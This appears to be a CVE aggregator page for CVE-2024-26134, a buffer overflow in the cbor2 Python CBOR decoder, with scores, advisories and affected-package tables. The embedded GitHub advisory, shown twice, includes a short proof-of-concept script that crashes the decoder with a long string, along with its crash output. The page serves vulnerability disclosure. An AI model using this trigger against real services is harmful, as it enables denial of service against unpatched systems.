Every CVE Search/ Get API key

CVE-2024-26134

CBOR2 decoder has potential buffer overflow

7.5 HighFix available

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.17%Up 1.1 points since Feb 20, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.5

CBOR2 decoder has potential buffer overflow

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
CVE-2024-26134
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-120
Updated
2026-11-02
EUVDEUVD-2024-0204 7.5

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
EUVD-2024-0204
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-375g-39jq-vq7m 7.5

Potential buffer overflow in CBOR2 decoder

Summary

Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)

Details

PoC

import json
import concurrent.futures
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

with concurrent.futures.ProcessPoolExecutor() as executor:
    future = executor.submit(test)
    print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
  File "test.py", line 14, in <module>
    print(future.result())
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
    return self.__get_result()
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.

If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.

import json
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

print(test())
Traceback (most recent call last):
  File "test.py", line 12, in <module>
    print(test())
  File "test.py", line 9, in test
    return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error

Impact

An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

Record
GHSA-375g-39jq-vq7m
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-120
Updated
2026-11-02
NVD 7.5

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
CVE-2024-26134
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-120
Updated
2026-11-02
OSV 7.5

CBOR2 decoder has potential buffer overflow

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
CVE-2024-26134
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-120
Updated
2026-11-02
OSVDEBIAN-CVE-2024-26134 7.5

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
DEBIAN-CVE-2024-26134
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-375g-39jq-vq7m 7.5

Potential buffer overflow in CBOR2 decoder

Summary

Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)

Details

PoC

import json
import concurrent.futures
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

with concurrent.futures.ProcessPoolExecutor() as executor:
    future = executor.submit(test)
    print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
  File "test.py", line 14, in <module>
    print(future.result())
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
    return self.__get_result()
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.

If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.

import json
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

print(test())
Traceback (most recent call last):
  File "test.py", line 12, in <module>
    print(test())
  File "test.py", line 9, in test
    return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error

Impact

An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

Record
GHSA-375g-39jq-vq7m
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-120
Updated
2026-11-02
OSVPYSEC-2024-155 7.5

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
PYSEC-2024-155
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2024-26134 7.5

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Record
UBUNTU-CVE-2024-26134
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2025:14733-1 No score

python311-cbor2-5.6.5-2.1 on GA media

These are all security issues fixed in the python311-cbor2-5.6.5-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14733-1
Updated
2026-11-02
OSVopenSUSE-SU-2025:20133-1 No score

Security update for python-cbor2

This update for python-cbor2 fixes the following issues:

  • CVE-2025-64076: Fixed bug in decode_definite_long_string() that causes incorrect chunk length calculation (bsc#1253746).

Already fixed in release 5.6.3:

  • CVE-2024-26134: Fixed potential crash when hashing a CBORTag (bsc#1220096).
Record
openSUSE-SU-2025:20133-1
Updated
2026-11-02
OSVSUSE-SU-2025:21168-1 No score

Security update for python-cbor2

This update for python-cbor2 fixes the following issues:

  • CVE-2025-64076: Fixed bug in decode_definite_long_string() that causes incorrect chunk length calculation (bsc#1253746).

Already fixed in release 5.6.3:

  • CVE-2024-26134: Fixed potential crash when hashing a CBORTag (bsc#1220096).
Record
SUSE-SU-2025:21168-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cbor2
PyPI
5.5.1 up to 5.6.2
5.6.2
cbor2
Debian:13
before 5.6.2-1
5.6.2-1
cbor2
Debian:14
before 5.6.2-1
5.6.2-1
cbor2
PyPI
5.5.1 up to 5.6.2, plus listed versions
5.6.05.6.1
5.6.2
cbor2
PyPI
5.5.1 up to 5.6.2, plus listed versions
5.6.05.6.15.5.05.4.65.4.5
Show 27 moreShow less
5.4.45.4.35.4.2.post15.2.05.4.25.4.15.4.05.3.05.1.25.1.15.1.05.0.15.0.04.2.04.1.24.1.14.1.04.0.14.0.03.0.43.0.33.0.23.0.13.0.02.0.01.1.01.0.0
5.6.2
python-cbor2
SUSE:Linux Enterprise Server 16.0
From an advisory covering 2 CVEs
before 5.6.5-160000.3.1
5.6.5-160000.3.1
python-cbor2
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 2 CVEs
before 5.6.5-160000.3.1
5.6.5-160000.3.1
cbor2
Ubuntu:22.04:LTS
All versions, plus listed versions
5.2.0-45.2.0-4build15.4.2-15.4.2-1build1
None known
cbor2
Ubuntu:24.04:LTS
All versions, plus listed versions
5.4.6-25.4.6-2build15.5.1-15.6.0-15.6.1-15.6.2-15.6.2-1build1
None known
cbor2
Ubuntu:25.10
All versions, plus listed versions
5.6.5-1build1
None known
Show 4 moreShow less
Affected packages
PackageAffectedFixed
cbor2
Ubuntu:26.10
All versions, plus listed versions
5.8.0-2ubuntu16.1.2-2
None known
cbor2
Ubuntu:26.04:LTS
All versions, plus listed versions
5.6.5-1build15.7.0-15.7.1-15.8.0-15.8.0-2ubuntu1
None known
python-cbor2
openSUSE:Tumbleweed
before 5.6.5-2.1
5.6.5-2.1
python-cbor2
openSUSE:Leap 16.0
From an advisory covering 2 CVEs
before 5.6.5-160000.3.1
5.6.5-160000.3.1

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-26134 is a high vulnerability (CVSS 7.5) in Agronholm Cbor2, published February 19, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.17%, the 67th percentile. Fixed in cbor2 5.6.2.

References

Show 16 moreShow less
MoveEnter Open